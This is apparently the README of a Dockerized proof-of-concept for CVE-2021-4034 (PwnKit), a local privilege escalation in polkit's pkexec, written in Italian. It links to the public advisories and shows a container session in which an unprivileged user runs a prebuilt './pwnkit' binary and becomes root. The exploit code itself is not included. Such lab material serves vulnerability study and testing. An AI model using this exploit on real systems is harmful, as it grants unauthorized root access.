
Dockerized proof-of-concept per CVE-2021-4034 (PwnKit), una escalatione locale dei privilegi in pkexec di polkit, che dimostra l'accesso root da un utente non privilegiato.
PoC Docker per PwnKit: Vulnerabilità di Escalation dei Privilegi Locali in pkexec di polkit (CVE-2021-4034)
https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Per eseguire il container:
user@debian:~$ docker run -it --rm baconspider/cve-2021-4034 bash
low@35bbe8a7ac93:/opt/test$ id
uid=1000(low) gid=1000(low) groups=1000(low)
low@35bbe8a7ac93:/opt/test$ ./pwnkit
root@35bbe8a7ac93:/opt/test# id
uid=0(root) gid=0(root) groups=0(root)